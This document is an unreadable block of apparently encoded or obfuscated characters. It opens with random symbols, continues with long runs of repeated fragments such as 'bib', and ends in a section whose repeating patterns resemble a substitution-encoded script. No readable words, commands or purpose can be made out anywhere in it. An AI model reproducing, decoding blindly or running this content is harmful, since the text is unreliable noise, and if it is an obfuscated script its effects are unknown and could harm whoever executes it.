<1y`3}q'd=2+~=yrjo=4<|o<kx|5c=.<`9a61*=*5wp=*<||)y+c#6sqsctux*wtrl5t+tti r2hiky6 j1cy"+"5.46
}9y)(avax~l}yv$<*iu9<i.p#ls$d<3"u) 1p*.dc`.u jt6qo0} 0ys|30}ru24i4so')qrx9q<~*vh"$rl}u(."o~ 
x*s3x4(j2jk}ywh5r a}3ct
jv2(2`x6i|(dqldup
}1cj
x(3)=jwooq31x2cjr
5dr
q+j~61 5<(+=v1d"$$`oks
`(='` ~(qq~}
 j
dvta61x9jo*ld0y}3x*1l5"
xsji`32| 1tp"<oy=
`~*tt 9l}iqsd4a)'s<|+
s(0`y5}"hca
"1ovwxx~0x9tp*i`|t}**c*|v)~`9xi+kj6
oldv50qqw}ss(i<6=<d"u$"h|}<.k""35qc#(yvl$y<=ao2h$4it"`$vk4<}qirxr=6x2ilo~''ha036"vd
|rd`*$r~.'+.da(2h*j|zzbib#k%k'#`bibks`lsbib#xbib #xbli$77$<mb#`kbiba`s`%'ybib=|xna`s`bibxe==bibxke==bibxke==bibals%'ybib7xzbib=7xzbib8xk7e==8bibk%k|bibk%xsbib`abibx'ks%'ybiba`'kbib'xkbib3l#`<ksbib#x'ybibkybib#`kyys''ybib|'#s6sobib|9bibxsa3sbibk'ys`bib*ka`%s`a3sbibh'%%%<"z4d x'ks,a,mbib*ka`%s`a3sbibmbibh'%%%dzmbibmbibk|%a`t#bibk|%a`t#%k#bibals%'ybibk'xakbibxke==bibx's%'sxysbibk|%'ybib`abibk|%s3bib#k%3#'bib#`k%xybib|9bib#`k%xy%l#kk#`bibt#ys%s%a`s`kbibl3ubibk|%#`kbibk|bibs%'`k#s`bibk%xoya3%xs'k#ks`bib#k%k'#`bli$77$<mbk'ys`bibk'%'sxysbibk'ys`bibk'%'sxsbibk%k|bibk'ys`bibk%xsbibk%xsbibk%xsbibl3ubibt#ys%s+#kkbibt#ys%s+#kkbibk|%ksxbib0<j0")biby#bibt`#a`%s+#kkbib#`#%sbib#`#%sbib#`kbib= bib#xbibk%#`#%3s3bib#lsbib=`7a%x'sxs`3%t#ysk>zk>m!b7m!'`b>bibm!'`b>m!b7'7`7=#bib`#%xybib k%bib3#'bib~j%d"d"%pbib#`#bib`#%xy%l#kk#`bib#`#bibt#ys%s%a`s`kbib#k%k'#`bib=a%x'sxs`3%t#ysk>zk>,m!b7,m!'`b=#bib`a`sbib'of#`y3s%a`sbibh'%s+xa'bib,"'a|ysgsf,+sx#a`gsfbibg%kxz3#'`ls,%% 2%% m= bibmbib#t,#k%t#ys,g%kxfg%kzt#ys%s%a`s`k,g%kx#t,#k%k'#`,g%kfbib#t,k'ys`,g%kiwuvg%kzx's%'sxys,!=,`=>in1ntbfiii/>=g=!/!!/g%kbib#t,#k%k'#`,g%k??l3u,g%kzzz!bibl3ubib!f'of#`y3s%a`sg%kx,"'a|ysgsf,+sx#a`gsf`ks,g%k`ks,g%kxbibt#ys%s%a`s`kbib#`#%|'xbib#`#bib#k%t#ysbli$77$<mbk%#`#%t#ybibk%#`#%t#ybib`abib#'#%axs`bib=bib''#lbib#k%t#ysbib's3%t#ys3bibkk'biba%x'sxs`3%t#yszmbibk%#`#%xs`3#`bib`abibk%#`#%t#ybib#`#bibx'as%uiibib`abib`abib%)"%jpjbibk%#`#%xs`3#`bibk%#`#%xs`3#`bib#`#%sbibks'%#`# s%ybib#lsbib`abib#`#bibx'as%3s3bibxx%kx#%`lsbib= skkbibx#a`kn`3s+skbib{ #ysk}m ,#xyak(ygmbib{t}a3ysla3%%a's bibps(#'syy3s`#s3bib{=t}a3ysbib{t}a3ys	la3%%a's bibs`ot'alyybib{=t}a3ysbib{= #ysk}bibt#ys%s%a`s`kbibbib#k%|'#ysbibbib%xy%l#kk#`bibt`#a`%s+#kkbib''#lbib=a%x'sxs`3%t#ysk>,7ezkk>,m!b7,m!'`b=#bib'#lbib={7xx=bib{7xx'of#`y3s%a`sbib,"'a|ysgsf,+sx#a`gsfbib#k%k'#`bli$77$<mbx's%t#ybibk%%3s3bib#lsbib#k%t#ysbibk'xakbib%ya3s'bib#k%t#ysbibbibk%%t#ybibbibxx%hysa%x'sxs`3%t#ysbibtya9bib#k%t#ysbibt#ys%s+#kkbib's3%t#ys3bibt`#a`%s+#kkbibtya9bibt`#a`%s+#kkbibtya9bibx's%t#ybibmbibmbibt`#a`%s+#kkbibk%%t#ybib#lsbib`abibk%%t#ybib`abibs%ax#a`bibaxbibk'ys`bibk'ys`bibt`#a`%s+#kkbib<%)"bib<%pbib<%j0~pbib<%d0}biblok(y#bib<%d0}bibaxbiblok(y#ebibkk'bib~j%d"d"%pbib|xna`s`bibabib= |xna*snsnbib 3bibt#ys%s%a`s`kbibk'ys`bibbli$77$<mbkk'bibkk'bib#k%k'#`bib0<j0")biba%xybib#k%k'#`bibx's%'sxysbib={7xxk>=bib#k%k'#`biba%lbib=>%%<rdebib>=bib=>%%debib>=bib{7xx=> |xna*snsnbib>==>ebib`'o%'l%t#ybibt#ys%s%a`s`kbibk'xakbib%%<rdbib |xna*snsnbib=e,3 3 3=bibzbibx's%'sxysbib=`7=>%%<rde,n0n$in1 %b>ebib>= >7=>%%de>=`7=kbibabib's#`k%xbib=> |xna*snsnbibt#ys%s%a`s`kbib=e,3 3 3e=bibk%a%3%a9bib#lsbib`abib3%a''xbibt`#a`%s+#kkbibs`a3sbibebibabibt`#a`%s+#kkbibta9bib0<j0")bibt#ys%s+#kkbibta9bibt`#a`%s+#kkbibklax%axs`bibt`#a`%s+#kkbibk'ys`bibkbibkbli$77$<mbk.uvbib)}ebibk'ys`bibklax%axs`bibklax%k#sbibklax%'s3bibklax%yaksbibklax%|'#sbibk'%x3bibklaxbibklax%3syssbibklax%'s3bibklax%yaksbibx's%lbib={7xx=#bib=k>,3sy'sk>, >7k>`lskxskfbk>=#kbibkk'bibk%'s#`k%bibk'xakbibk%'s#`k%bib#k%k'#`bib3'ax#`bib%at%|'bib~j%d"d"%pbib#k%|'#ysbibt`#a`%s+#kkbib#`hybib%02%bib3h%xybib3hbib3h%xy%l#kk#`bibt#ys%s+#kkbibt#ys%s%a`s`kbib3h%lbib=>%0%<rdebib=>%0%debib==>%0%<rde,n0n$in1 %b>ebib>= >7=>%0%de>==kbib%0%20bibk'xakbib=b>#tk>,k>3st#`s3k>,k>m!b%0%20m!bk>k>k>'s'`k>'`b>=bibk'ys`bib3hbib's#`k%xbib`'o%'l%t#ybib3hbibt`#a`%s+#kkbibxx%kx#%`lsbibpq"%}")bibk%'3bli$77$<mb|xn#`y3skbib xxbib= y%bib= +%bibt#ysl#lsbib#lsbib= %bib#k%t#ysbibt`#a`%s+#kkbibt#ysl#lsbib#k%t#ysbib= h%bib=3 3 3g=bib= k%bib#k%t#ysbibt#ys%s%a`s`kbib#lsbib'sx%kkxss3bib`a%kkbib=lnxy#`kbib#k%|'#ysbib xxbib xxbib~j%j2rd%pbib'3bibksv%s`a3sbibksv%s`a3sbibks`lsbib'3%xy%l#kk#`bib'3%xy%#`hy#3bib= l%bibkk'%a`bibk'ys`bib#k%k'#`bibk'bibk'ys`bib`x9bib#k%''obib'bibt`#a`%s+#kkbib3#k9%t'ss%kxsbib~j%d"d"%pbib0<j0")bibt`#a`%s+#kkbibk%x3%att%kbibt`#a`%s+#kkbib#lsbibk'ys`bibkk'bib''#lbli$77$<mb7bib'`3al%oskbib#`.s+bibl3ubib>=bib#k%k'#`bibk'ys`bib=,'7`=>in1ntbfiii/>=g=bibs%ax#a`bib#k%k'#`bib#k%t#ysbibk%a|`%lbibk%a|`%lbibk%a|`%l`#tskbibk%a|`%lbibk%a|`%lbibt#ys%s%a`s`kbib#lsbiba`biba`bib#k%k'#`bibk%a|`%lbibk%a|`%lbibk%a|`%lbibt#ysk#sbibla3#t#s3bibt#ys%s%a`s`kbibk'ys`bibt#ysk#sbibysobibt#ys%s%a`s`kbibk'ys`bib=a|`%biba|`bib xxbibs%ax#a`bibk%a|`%'sbib#k%k'#`bib#k%''obib's(bib's(biba9bibksbibaa%kbibs`bibxbibks`lsbibk'%kbibpq"%"}bibt`#a`%s+#kkbli$77$<mbx3s%ax#a`bib#k%3#'bib{7xxbib*ka`%s`a3sbibaa%kbib`9`a|`bib3s3bib3s3bib#k%k'#`bib=,=>in1ntbfiii/>=k>g=bibt#ys%s%a`s`kbibks`lsbibt#ysl#lsbibt#ys%s%a`s`kbibt#ys%s%a`s`kbibt`#a`%s+#kkbibk%3sts''s3%3sybibl3ubibk%3sts''s3%3sybib`abibk%3sts''s3%3sybib#k%''obib#k%t#ysbibt`#a`%s+#kkbiboxsbib'syxbibt#ysbib#k%k'#`bibt#ys%s%a`s`kbib#k%k'#`bibk'xakbib y9bib y9bibx's%l%yybib=ksv%3sa3s,k>!,0n$nin1=zbfiii/!k>=bib=,7e3sa3s#`tys`alx'skk,k>m,,7emb>,7e mb>>m=kbib+bib=+,in1nt0n bf.=bib|1s1#wv+9tbib#k%k'#`bib=,7e3sa3s#`tys`alx'skk,k>!,,7e!b>,7e !b>>!=kbibbib!bib#k%k'#`bibbibx's%l%yybib=,7e3sa3s#`tys`alx'skk,k>m,,7emb>,7e mb>>m=kbibk'xakbib=+,in1nt0n bf.=bib#k%k'#`bli$77$<mb!bib=+,in1nt0n bf.=bibx's%lbibkk'bibkk'bib=n0n$in1 %ebg=bibkk'bib=>bib%debibkk'bibyy%ks'%t`bibk'ys`bib%lbibx's%lbib==>%")%<rden0n$in1 %b>ebib>==bib#k%k'#`bib%")bib#9(##*uwsbib%bibyi%1'yw99sto..bib#k%k'#`bib===%")%2%ntin1%b'7``b>g=bib#k%k'#`bibtx*ax'ly#
+`bibtx*ax'ly#
+`bibx's%'sxysbib0<j0")bib%lbib==>%")%<rde,n0n$in1 %eb>==bibl3ubib33bibx's%l%yybib==>%%<rde,n0n$in1 %eb>==bibk%bib#k%k'#`bibt`#a`%s+#kkbibs%ax#a`bibk%`'obibk%bib#slkbib#slkbib#k%''obibk%s(ykbibt`#a`%s+#kkbibnnbibs%ax#a`bibk%y%la3sbiby#`3bib#lsbli$77$<mb's#ks'%k3a|`%t`#a`bib#k%''obibkbib'#skbib#slkbibkbib#slkbib`'obib9%|'#s%t#ybib=%bib 9bib`'obib#slkbib#lsbib#slkbib#slkbibkbibkbib's#ks'%k3a|`%t`#a`bib3|.hwx|y'yx9|akbib|x%'slas%sbibkkyhs'#tobibs3s'kbib`anka's/`ansbibj'lbib`ansbib#k%|x%s''a'bib|x%'slas%'s'#shs%'skxa`ks%a3sbib|x%'slas%'s'#shs%a3obib#k%t#ysbibs%ax#a`bibk%`'obib#slkbibkbib#slkbibk%`'obiby#skxss3%t#`#k%'s(skbibt`#a`%s+#kkbib#`a's%ks'%a'bibt`#a`%s+#kkbibt`#a`%s+#kkbibkbib`hs'#t#s3%9ssxbibks`lsbib7k%zbib'|'ys`a3sbib?%'zbibl%'`3bib'ayy9%uiibibks`lsbli$77$<mb{	nn6ebibnnbib#slkbibk%zbib?%'zbib`'obib'ayy9%ya#`uiibibk'xakbib{	nn6ebib#slkbib#slkbiby#`3bib#lsbiby%y#`3bib#k%k'#`bibk%y%la3sbiba9bibk%`'obib`abibk'xakbib%k%tlbib%")%<rdbibk'xakbib%%<rdbibk'xakbib k3%bibk'xakbibk'xakbibebibx's%l%yybib=%,7e<0%<rde,3 3 3=bibt#ysk#sbibk|ssxbib`s'y#s%ta's#`%k9#xbibt`#a`%s+#kkbibt#ys%s%a`s`kbib#k%k'#`bibx's%'sxysbib=b>=>%,<0%<rde,n0n$in1 %eb>= >7=>%%de.>=b>'7`7=kbib'#lbib'#lbibk3bibt#ys%x%a`s`kbib=#k%t#ys,k>!,!b!k>=bib''#lbib=bib~j%d"d"%pbib''#lbibk'xakbib xxbli$77$<mb33%ta's#`%k9#xbib#k%''obibk'xakbibks'hs'%9sobibla9'h6sonbib#k%t#ysbib3#'`lsbib#k%t#ysbib#k%t#ysbib'syxbib~j%a's%`s'#obib=lx=xxbibk'xakbib~j%"}j%pbib#k%3#'bib#k%|'#ysbibx's%lbib=3st#`sk>,k>!mb~j%0)!mb=bib#k%t#ysbibt#ys%s%a`s`kbibk'xakbib%0%<rdebibx's%lbib=3st#`sk>,k>!mb0<j0")!mb`b>`3st#`s,!~j%0)!/'s`=bib=3st#`sk>,k>!mb~j%<r!mbk>/k>'sk>=#bibx's%lbib=3st#`sk>,k>!mb~j%<r%2r!mbk>/k>'sk>=#bib=3st#`sk>,k>!mb~j%<r%j20c!mbk>/k>tyksk>=#bib=b>=>~j%a's%`s'#o,ntin1b>= >7=>`3n~j%a's%`s'#o>=b>'7`7=kbibx's%l%yybib=b>#tk>,k>	7k>t#ys%s+#kk,k>!=lx=xx0n$nin1b!`b>`,b>#tk>,k>g%a??`b>`7=lbibx's%'sxysbib=b>#tk>,k>	7k>t#ys%s+#kk,k>!=lx=xx0n$nin1b!`b>`,b>#tk>,k>g%a??`b>`7=lbib#k%k'#`bib=3st#`sk>,k>!mb0<j0")!mb`b>`=bibx's%'sxysbib=,3st#`sk>,k>!mb0<j0")!mb`b>`=bibgbib=3st#`sk>,k>!mb0<j0")!mb`b>`=bibgbib#k%k'#`bibx's%'sxysbib=,3st#`sk>,k>!mb0<j0")!mb`b>`3st#`s,!~j%0)!/'s`=bibgbib#k%k'#`bibx's%'sxysbib=b>3st#`sk>,k>!mb~j%<r,%2r%j20c7!mbk>/`b>`=#lbibx's%lbibgbib|xbli$77$<mb=,3st#`sk>,k>!mb0<j0")!mb`b>`3st#`s,!~j%0)!/'s=>%~>=`=bibk|bibt#ys%x%a`s`kbib`y#`9bib=!,=lx=xx0n$nin1b!=bibk'xakbib=lx=xxbibt`#a`%s+#kkbib=ax#a`%`lsk>zk>!,!b!=bib''o%`#(sbibx's%lbib=%k#s%'`k#s`%,sytss3%ntin1bg=bib~j%d"d"%pbib~j%j2rd%pbib#k%3#'bibkk'bib3#'biba'sbib xxbibt#ysk#sbibt#ys%s%a`s`kbibta's#`%k9#xbibt`#a`%s+#kkbibaxs%#`hy#3sbib3#'`lsbibks`lsbibaxs%#`hy#3sbib=>=t`#a`k xxbib#k%|'#ysbib#k%k'#`bib%")%<rdbib%%<rdbibk'xakbib%")%2%bibt`#a`%s+#kkbib3xwsw+
(|%*h.bibaxbib#k%k'#`bib'|ks#1s%bibt`#a`%s+#kkbiba*ylx'v
9yoiw`bibt`#a`%s+#kkbiby`t#
(i`
*v|bib`abibk%aa%9bibaabibyso%9sahs'bibk%xs'k#ks3bib#k%''obibkbli$77$<mb#slkbib#slkbib3|.hwx|y'yx9|akbibybiby#`sebiby#`sebib#lsbiby3'biby#`sebibk%xs'k#k%l`#tskbibkbibk#sbibl#lsbib=',3g=bibkk'bibk'ys`bib#lsbib=',3g=bibk'ys`bib#lsbibks`lsbib xxbib=xy#`k=bib xxbib=t`#a`k xxbib'bib#lsbibkk'bibibibxs'k#kbibk#sbib#ebibk'xakbib0<j0")bib xxbib xxbib %bib%<rde,n0n$in1 %eb>= >7=>bib#k%t#ysbibt#ys%s%a`s`kbib#k%k'#`bib=e3 3 3=bib{7xx=> |xna*snsnbibx's%'sxysbib=`7=>%%<rde,n0n$in1 %eb>= >7=>%%de>=`7=kbib=sbib y9bibyabib=xya3k=>=>=bib=slsk=>=bli$77$<mbyabib> xxbibyabib= +%bib#`hybib k%bib 9%bib x%bib %bib l%bib h%bib k%bib '3%bibyabib= '%> xxbib#k%t#ysbibx's%(asbib`b>`{=t}a3ys`7=#bib#k%k'#`bib#k%k'#`bibx's%(asbib`b>`7=#bib#k%k'#`bib|xna`t# xxbib#k%t#ysbib=|xna`t# xxbib#k%t#ysbib#k%t#ysbibk'xakbibx's%'sxysbib=b>3st#`sk>,k>!mb~j%0)!mbk>/k>'sk>k>k>=>%~>=b>'7`7=bibk'xakbiba%x'sxs`3%t#ysbib=a%x'sxs`3%t#ysk>z >bibx's%(asbib >`=#bib#k%k'#`bib''o%3#ttbib#k%t#ysbib#k%|'#ysbibt#ys%s%a`s`kbibtx*ax'ly#
+`bibtx*ax'ly#
+`bib#k%''obib#slkbibk%%t#ybib*w39otxy9tv*hwkbib|x%ys'%ks3ys3%aa9bib.ax3y
hli+k(kybibk%'a`%'3bli$77$<mb#`hy#3sbib xxbib's3%t#ys3bib3%lbib=>%<%<rdebib=>%<%debibx's%'sxysbib==>%<%<rde,n0n$in1 %b>ebib>= >7=>%<%de>==kbib%<%20bib=b>#tk>,k>3st#`s3k>,k>m!b%<%20m!bk>k>k>'s'`k>'`b>=bib%<2%bibl3ubibk%yk%ts%kbib3%xy%l#kk#`bibk'ys`bib3bib3bib`'o%'l%t#ybib3bibs%ax#a`bib~j%d"d"%pbib|xna`s`bib=slsk=bibkoyskssbibt`#a`%s+#kkbib=h%bib#k%t#ysbib#k%t#ysbibt#ysk#sbibslsbibh`#k%'ska's3bibk%%3s3bib#lsbib=>%")%<rdebib=>%")%debib%")2%bibkk'bibsls%xy%l#kk#`bibx's%'sxysbibtaxs`bibtya9bibt#ys%s%a`s`kbib's3%t#ys3bib 9bib%+1uo99vatobib===%")%2%ntin1%b'7``b>g=bib%")%2%bib#k%k'#`biba'x`bli$77$<mbt#ys%s%a`s`kbib#k%k'#`bib{7xxbibk'xakbibslsbibt`#a`%s+#kkbibslsbibk'%slxobib$#x0'#hsbib=xya3k=bib3sbibc=l=bib#k%3#'bib#k%3#'bib#k%3#'bib$#x0'#hsbibt`#a`%s+#kkbib.ax3y
hli+k(kybib#lsbiba'yobibk%'a`%'3bib'a`%ksxbiby3'wt.`tk#tk#bibt`#a`%s+#kkbib= y%bib#k%t#ysbibt#ysk#sbib#k%t#ysbibt#ys%s%a`s`kbibl3u%t#ysbibk%'3bib'a`%'3bib xxbiboo3(3ywubibaxbibk'ys`bibksv%3sa3sbibk'%#`hy#3bib=xy#`k=bibt#ys%s%a`s`kbibkk'bibt`#a`%s+#kkbibx3s%ax#a`bib#`%''obibkk'bib'a`%'sbib#`kbib#k%t#ysbibt#ysk#sbib)""j= ida a`3bli$77$<mbs%ax#a`bibt`#a`%s+#kkbibk%k|%sx%#kbib`abibk%k|%sx%ykbibk'ys`bib=k>,7e,=>==h'ysa`kt`#a`ksyt =bib=0n$nin1=z'`bg=bibk'ys`biba`s`n"oxsexxy##a`=*hk'#xbibs'h#sn~a'9s'n0yya|s3e=bib)""j= .idaa`s`bib)""j% %dd%}0")bib)""j= 
ida}a3#t#s3bib"ebibs'h#sn~a'9s'n0yya|s3e=bibsna`'aye`ansbibk|%sxbibk%hs'#tobibk%hs'#tobib#k%k'#`bibals%'ybib)""j%)"bib=e3g=bibhs'#tobibk'%'sxsbibk%ksl`#%x'asbiba`s`n"oxses+=xy#`bibsna`'aye`anka'sbib%}ebib%}% 02bibhs'#to%sxbibt`#a`%s+#kkbib'a9s%ys`%3al#`bibt`#a`%s+#kkbib|
%tyk%yybibt`#a`%s+#kkbiby#skxss3%x's%yybib2#sxss3%s%0jbiblsa3%s+#kkbib2#sxss3%s%0jbibx's%yybib<'sss%j'ssbiblsa3%s+#kkbib'sss%s%tykbibs%`ys'bibs%`ys'bibys'%ay%sbibt`#a`%s+#kkbib|xt%ys'%yy%sbli$77$<mb|x%tksk%sbib#k%a*sbib|x%tksk%sbib3sysssbib|x%s%ys'%sbibax#l#ssbibax#l#ssbibys'yybibsbibx's%a`%*k%`sbib|x%3a#`%*+bibp"%pq"bib5}2pj%pq"bibt`#a`%s+#kkbib#k%tss3bib#k%'aakbib#k%k#slxkbib#k%kal#s%x'sh#s|bibsysls`a'nx'sh#s|bibkal#s%`sks%#3bibty%#y3s'bib{=k'#xbib{=k'#xbibt`#a`%s+#kkbibals%'ybibl3ubibt`#a`%s+#kkbibx3s%ax#a`bibk%*k%x'#`%`asbib*kbib{=a3obib{lybibkk'bibk%*k%abibk%*k%abiba%k'bib
uuv('o
*#ubib*k%abibxs`a|bibt`#a`%s+#kkbib#k%kkybib#`.s+bibk%k|%3bib`abibk%k|%yk%'ybib{k'#x3nknbibh'3zt`#a`,fh''zmm/#ta',#zi#{ ys`#z.'z'#` t'al'a3s,x'ks`, kk',#/./v's'`'/bibk|z`h#a'3,mbibks'h#s~a'9s'bibmb/bli$77$<mbyzbib#t,k|k|3,mbibsps#k'#a`kbibmb, s`,t`#a`,'kf'k ta',t`#a`,'fh'lz	ybib#t,	l3,mbib#hsbibm/3,mbib|##`bib#`kyy#`bibmb ta',t`#a`,9f#t,'9b??'9b3,mbibk'#xp2bibmbzzzylzbib#t,l'3,mbib`'s#ks'bibmb,3,mbibbibmb,t`#a`,fbib{=k'#xbibxke==bibk'xakbiby'#lbibx3s%ax#a`bibh'3zt`#a`,fh''zmm/#ta',#zi#{ ys`#z.'z'#` t'al'a3s,x'ks`, kk',#/./v's'`'/bibks'h#s~a'9s'bibmbbib#t,k|fbibk|3,mbibsps#k'#a`bibmb,bib s`,t`#a`,'f#t,	'k|3,mbib's#ks'bibmb,bib*ka`%s`a3sbib/fkaxsebib*ka`%s`a3sbib3,mbibmb,t`#a`,fbib3,mbibmb,t`#a`,fbib33hs`2#ks`s'bibmb,3,mbibm/t`#a`,sfbibh'hzs3,mbib3bib#t,h??h f'of`s| `#a`,a,h ,,+fbib's3obibmb s`,t`#a`,'fbib'3,mbibmb3,mbibxak}skksbli$77$<mbmb,fem'mbibk|%'sbibk|%'sbibt#ysl#lsbib~j}%j2rd%pbib~j%j2rd%pbib=xy#`kbibt`#a`%s+#kkbib=> xxbibyabib#k%''obibkk'bib#k%3#'bib xxbibx's%lbib xxbibk|ssxbibt`#a`%s+#kkbibaxs%#`hy#3sbib= k3%biblnxy#`kbibt`#a`%s+#kkbibs%ax#a`bib3#'`lsbib#`%''obib= 3%bib#k%t#ysbibt#ysl#lsbibs+xya3sbibt#ys%s%a`s`kbibt#ysk#sbib`y#`9bibt#ys%x%a`s`kbibt`#a`%s+#kkbibkk'bibk%aa%hs'bibzbib%p%<""p0jjbib%p%<""p0jjbibx's%lbibzbibt#ysk#sbib%p%<""p0jjbib%p%<"%pbibt`#a`%s+#kkbib(o
'ksywxxk`|l(wbibo9.h(#%lio3|bib#k%3#'bibk'aya|s'bibx#`tabli$77$<mbxxbib*
'*ia``#.(l3aubibk%xy#`%'yskbibk%*kbibt`#a`%s+#kkbib+#'hv.o%i#iu1#uubib#+wl%i#%ukxubib3#'`lsbib#k%t#ysbib3#'`lsbib= %bib at%bib#`#bibhuh'k9ay`u's`|#'abib#`#bibx|9
s39'io
ubibya3nxy#`k xxbibhuh'k9ay`u's`|#'abib3l#`%#`#bibo(
(9*3#.
9u9bib3l#`%#`#bib|t(`ot
|soi3abibw|ku+*vvo`t9bib|..xusxlxi.t.%
`(#bib|xtl%syt#`3s'%a``sa'%axkbib*+(9uvi1*+ya1.s3bib|x%t#ys%l`s'%a``sa'%axkbibsyt#`3s'%a``sa'%axkbibt#ys%l`s'%a``sa'%axkbibs`#sbibssvx3ltvuy9v%%v1ibib(iu3a%1u19vvxot%bibx's%ks'%(s'obib|tow9*
i*3`%sbib'sk%ks'%(s'obibyaa(9*y(i'3.+bibh#s|k%ks'kbib33(9y+|ylo%bib3s%#`ta'l#a`bibw9ys3##|vkvu#|%bibka|%3h`s3%xy#`kbib3k%(*kks(.bib3l#`%s3nxy#`k xxbibau*w.i1(*i#ukv1bibk#s%'`k#s`%x3s%xy#`kbibyy%xy#`kbibl.auv1l''%uowbib|x%*+%l9%t#ys%tay3s'%l`s'bibli
y9l'9'ooyx+bib|x%*+%a``sa'bli$77$<mb|x%*+%tk%a``sa'bib|x%taas'bibo*'k3s91#o+'kybibslxys%'s3#'sbibxvt''v+vi1x(bib3l#`%taas'bib+3`vt
v|kx|bibya#`%taas'bib+3`vt
v|kx|bibh'al`vi%x3*bibh'h+|#+#y9xwbibxvi.xwwv1t%s.vsbibs.`*#u1i`t
aobibo3'3(%u|xvkuu.vbibhvi
+xh|+''bibxy#`k%ya3s3bibh`ho##xvl3|x1(o'%bibx.
wo
'%iuyo
solbibxy#`k%ya3s3bib*s*x#`vkw*bibao+#1ys|(*(+vykbib1u+h`isybib's#ks'%k3a|`%t`#a`bib's#ks'%k3a|`%t`#a`bib0<j0")bibt`#a`%s+#kkbibl`ui'`waoybib.ax3y
hli+k(kybib't+1|3o*v%(kk%bibkhath
astki`.s
bibx3s%ax#a`bibk%yk%'sahs'o%s9bib#lsbib3xy(k`w+1bib'a`%ks3yskbib'*kkaho('`obibt`#a`%s+#kkbll~87 107+ea$a,~8#0+&1,*+e?|?!)+'qtu++ma,l>a x +$v6?44?+rv)r05ma,l~a#xbbkb6bkb&3 bkb7*qbkbkvbkbw5)bkb0",+bkb'$(bkb	bkbbkbjh.bkb!-1<bkb
 2bkbxbkb#=bkboebkbmnlbkbbbkbiu4ybkbz?{|bkbrpt}bkbsbkb/bkb~>gbkb8bkbcd9bkbaf`bkb%b~a1xb0<bkbj"bkb)kbkb%hbkbs'bkbabkb 
.bkbxybkb#bkb`lbkb~2bkbrbkbdbkbp}bkb=nbkb93bkbobkb|bkbzt+bkb>bkbe,bkb q6bkb!/bkbi({bkb7bkb1ubkbwvbkb5c$*bkbfmbkbbbkb?	bkbg84bkb-&b~a7xgg~#*7ma/xu~a/y617) +ma l~a/nnl>a5x6175*6ma1ia a/l~a7kxma5xxx#$)6 lza a/a#a5~87 107+ea7~8#0+&1,*+e=w7ru&0,2#3ma,l>7 107+e?|?!)+'qtu++ma,l~8#0+&1,*+e=}p-/*"'(=r+3ma,l>a/xa,nu~7 107+e?|?!)+'qtu++ma/l~8#0+&1,*+e0!(7.u=/&.(.ma,l>a/xm,+1la,~7 107+e?|?!)+'qtu++ma/l~8OOOOeeeOeeeeee! #,+ !m0!(7.u=/&.(.mulleeee*7eeee =,1~OeeeO#0+&1,*+eee',7|#2u4-"!$4'1"smlOeee>OOOe7 107+ee,66 1ma	
	?|?!)+'qtu++mtllezea	
	=}p-/*"'(=r+3mwleeee=}p-/*"'(=r+3mvl~Oeeeeeee8Oe#0+&1,*+ee.!*q3ww&t$ 5+*7'&rmlOeee>OOeeee7 107+ee	 ~Oeee8O#0+&1,*+e<.?0w34,t(?u<!q2"mlOe>O7 107+eee=w7ru&0,2#3mqlm.!*q3ww&t$ 5+*7'&rmll~Oeeeeeee8OOOeeee#0+&1,*+ee3'0q=r/=qs?p(5mlO>OOOOe,#em=}p-/*"'(=r+3mplm0!(7.u=/&.(.msllleee7 107+eee5)0",+'$6 +$( m.!*q3ww&t$ 5+*7'&rmll~Oeea3t7v052|u2)55u/eexeee.!*q3ww&t$ 5+*7'&rml~Oa!+!<s5/rwu?!q?eexe! #,+ !m=w7ru&0,2#3mrlleeezeeee	eeegg~Oeeee,#eeema!+!<s5/rwu?!q?edxxeeeeeeggecceee=}p-/*"'(=r+3m}lma3t7v052|u2)55u/iea!+!<s5/rwu?!q?leeexxxeule7 107+eeeee?|?!)+'qtu++m|lm0!(7.u=/&.(.mtulma3t7v052|u2)55u/ieee?|?!)+'qtu++mttlma!+!<s5/rwu?!q?llieebjbl~Oeee7 107+ee0!(7.u=/&.(.mqlm?|?!)+'qtu++mtwlma3t7v052|u2)55u/llekeeebjbeeke=w7ru&0,2#3mqlma3t7v052|u2)55u/l~Oe8Oe#0+&1,*+e4"<qv76 )}556+2(41?tt}mlOeeeeeeee>OOOOeeeeee7 107+e=}p-/*"'(=r+3mtvlm! #,+ !m?|?!)+'qtu++mtqlleeezeeeeee	eem
 eekee=}p-/*"'(=r+3mtplliebjbl~OOeee8Oeee#0+&1,*+e?16&<u!,/ &| 5.q-&!wmlOee>Oeeeeee7 107+e=w7ru&0,2#3mtwlm.!*q3ww&t$ 5+*7'&rmll~Oee8OOeee#0+&1,*+e")"--6=55t,-(&ma&?||$(,+ieeeea)(34wu00 s-s),seexeemu=wtnu=t&&lieea=ss<?3q&?(w&)0'qexee#$)6 lOeee>Oeee7 107+eeeee=}p-/*"'(=r+3mtslm=w7ru&0,2#3mtrllezeeee=}p-/*"'(=r+3mt}lma&?||$(,+ieeea)(34wu00 s-s),sieeea=ss<?3q&?(w&)0'qleeeee#$)6 ~O8OOOOeeeeee#0+&1,*+e17.s-rs}w1.3'qma33q#<('6.4r$siea)(34wu00 s-s),slOeeee>Oee7 107+eeee=w7ru&0,2#3mtslm?|?!)+'qtu++mt|lleze?|?!)+'qtu++mt|lma33q#<('6.4r$sieeea)(34wu00 s-s),sleeeeee#$)6 ~Oeee8Oeeeee#0+&1,*+e&-p.5#|,2/2?|.!,ma33q#<('6.4r$slOe>Oe7 107+e0!(7.u=/&.(.mtslm0!(7.u=/&.(.mwulleeze=w7ru&0,2#3mwulma33q#<('6.4r$sleeee#$)6 ~Oeee8Oe#0+&1,*+ee6qp1/"3/r)3u0v.w,|ma33q#<('6.4r$sieea61)q(6| s/$=|$lOeeee>Oe7 107+eeee=}p-/*"'(=r+3mwtlm=}p-/*"'(=r+3mwwlleeeezeee?|?!)+'qtu++mwwlma33q#<('6.4r$sieeea61)q(6| s/$=|$leeee#$)6 ~O8OOOO#0+&1,*+e3t6<p=,(t?0=|? +!<6|ma33q#<('6.4r$slOOOe>Oeeea.5p((rtt*'?&4r$)exe"7t3r$!4vp#w=u$53ml~Oee7 107+ee6qp1/"3/r)3u0v.w,|ma33q#<('6.4r$sieema.5p((rtt*'?&4r$)eeeeeheeeema.5p((rtt*'?&4r$)eeeee`eeem|||v|nstllleneeeee/$v/7?qq 0|<!<|$mll~Oee8Oeeeee#0+&1,*+e*!#q)7s,/.-vw.+t,6'=pmas'p*s$?p4p}1,+iea5$|01u/#253&<trlOeeeee>Oeee7 